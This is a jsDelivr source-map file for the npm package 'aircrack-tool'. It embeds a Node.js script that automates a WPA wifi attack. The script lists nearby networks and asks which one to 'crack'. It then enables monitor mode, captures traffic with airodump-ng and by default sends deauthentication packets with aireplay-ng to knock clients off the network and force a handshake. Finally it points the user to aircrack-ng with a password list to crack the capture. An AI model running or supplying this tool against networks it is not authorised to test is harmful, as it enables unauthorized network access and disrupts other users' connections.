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AK,QACP,QACA,QAAQ,KAAK,KAEX,KAAK,MAAQ,KAAK,KACpB,QAAQ,IAAI,kCACZ,QAAQ,IAAI,YACZ,QAAQ,IAAI,wEACZ,QAAQ,IAAI,4FACZ,QAAQ,IAAI,eACZ,QAAQ,IAAI,oIACZ,QAAQ,IAAI,iCACZ,QAAQ,KAAK,IAGf,QAAQ,GAAG,UAAU,WACnB,QACA,QAAQ,KAAK,EACf,IAEA","file":"/npm/aircrack-tool@1.0.3/index.js","sourceRoot":"","sourcesContent":["/**\n * Minified by jsDelivr using Terser v5.37.0.\n * Original file: /npm/aircrack-tool@1.0.3/index.js\n *\n * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files\n */\n","#!/usr/bin/env nodejs\n\n// var <- this makes the variables inaccessible from some functions (?)\n  wfscan = require('node-wifiscanner'),\n  readline = require('readline'),\n  command_exists = require('command-exists'),\n  proc = require('child_process'),\n  argv = require('minimist')(process.argv.slice(2)),\n  rl = readline.createInterface({\n    input: process.stdin,\n    output: process.stdout\n  });\n\n\nfunction fatal_error(msg) {\n  console.log('[ERROR] '+msg);\n  process.exit(1);\n}\n\nfunction text_between(str, prefix, suffix) {\n  var a = str.indexOf(prefix);\n  if (a < 0) return false;\n  str = str.substr(a+prefix.length);\n  a = str.indexOf(suffix);\n  if (a < 0) return false;\n  return str.substr(0, a);\n}\n\nfunction init() {\n  var check = function(cmd) {\n    command_exists(cmd, function(err, exists) {\n      if (!exists)\n        fatal_error('Cannot find command \"'+cmd+'\"');\n    });\n  };\n  check('airmon-ng');\n  check('airodump-ng');\n  check('aireplay-ng');\n\n  // Timeout to yield for the check callbacks\n  setTimeout(function() {\n    console.log('Scanning wifi...');\n    wfscan.scan(select_wifi);\n  });\n}\n\nfunction select_wifi(err, wifi_list) {\n\n  if (err)\n    fatal_error('Cannot scan wifi: ' + err);\n\n  if (wifi_list.length == 0)\n    fatal_error('No wifi found, try repeating the command or using the --reset command');\n\n  for (var i in wifi_list) {\n    console.log('['+i+'] '+wifi_list[i].mac+' - '+wifi_list[i].ssid+ ' ('+wifi_list[i].signal_level+')');\n  }\n\n  rl.question('Insert the number of the wifi to crack:\\n', function(wifi) {\n    wifi = parseInt(wifi);\n    if (!(wifi in wifi_list)) {\n      console.log('Invalid number.');\n      scan_wifi();\n    } else {\n      crack_wifi(wifi_list[wifi]);\n    }\n  })\n}\n\nfunction crack_wifi(wifi) {\n  var exec = function(cmd, callback) {\n    return proc.exec(cmd, function(err, stdout, stderr) {\n      if (err) fatal_error(cmd+': '+err);\n      callback && callback(stdout, stderr);\n    });\n  }\n\n  var disable_netman = function() {\n    console.log('Disabling network-manager service...');\n    proc.execSync('/etc/init.d/network-manager stop');\n  }\n\n\n  var enable_monitor = function(callback) {\n    console.log('Enabling monitor interface...');\n    exec('airmon-ng start wlan0 '+wifi.channel, function(stdout, stderr) {\n      if (stderr.length > 0) console.log(stderr);\n      var iface = text_between(stdout, '(monitor mode enabled on ', ')');\n      callback && callback(iface);\n    });\n  }\n\n\n  var listen = function(iface) {\n    console.log('Listening using interface '+iface+'...');\n    var file = 'psk_'+wifi.mac;\n\n    proc.execSync('rm -f '+file+'*');\n    var child = proc.spawn('airodump-ng', ['--ivs', '-c', wifi.channel,\n        '--bssid', wifi.mac, '-w', file, '--update', '4', iface]);\n\n\n    child.stderr.on('data', function(data) {\n      data = data.toString();\n      if (data.indexOf('WPA handshake') < 0) {\n\n        if (settings.deauth) {\n          var offset, chunk = data;\n          var mac_re = '(([A-Fa-f0-9]{2}[:]){5}[A-Fa-f0-9]{2})';\n          while ((offset = chunk.search(mac_re+'  '+mac_re)) >= 0) {\n            chunk = chunk.substr(offset+19);\n            var target = chunk.substr(0, 17);\n            console.log('Sending deauth packets to '+target);\n            try {\n              proc.execSync('aireplay-ng -0 1 -a '+wifi.mac+' -c '+target+' '\n                  +iface, {timeout: 10000});\n            } catch(e) {}\n          }\n        }\n        return;\n      }\n      child.kill();\n      console.log('Captured handshake!');\n      reset();\n      console.log('Done. You have to manually proceed and crack the handshake '\n          +'stored in '+file+' (es. aircrack-ng -w password.lst -b '+wifi.mac\n          +' '+file+'-01.ivs)')\n      process.exit(0);\n    });\n  }\n\n  disable_netman();\n  enable_monitor(listen);\n\n}\n\nfunction reset() {\n  console.log('Disabling monitor interfaces...');\n  for (var i = 0; i < 20; i++) // TODO just shutdown open interfaces\n    proc.execSync('airmon-ng stop mon'+i);\n\n  console.log('Enabling network-manager service...');\n  proc.execSync('/etc/init.d/network-manager restart');\n}\n\nvar settings = {\n  iface: 'wlan0',\n  deauth: true\n}\n\n// Read parameters\nif ('i' in argv) settings.iface = argv.I;\nsettings.deauth = argv.deauth || argv.d;\n\nif (argv.reset) {\n  reset();\n  process.exit(0);\n}\nif (argv.help || argv.H) {\n  console.log('Usage: airtool flags <command>');\n  console.log('  Flags:');\n  console.log('    -i interface: interface on which activate airmon (default wlan0)');\n  console.log('    -d, --deauth: enables active attack: deauthenticate clients to force a new handshake');\n  console.log('  Commands:');\n  console.log('    --reset: to use in case of errors/interruption of the process, removes monitor interfaces and (re)starts the network-manager');\n  console.log('    --help: display this help');\n  process.exit(0);\n}\n\nprocess.on('SIGINT', function() {\n  reset();\n  process.exit(1);\n});\n\ninit();\n"]}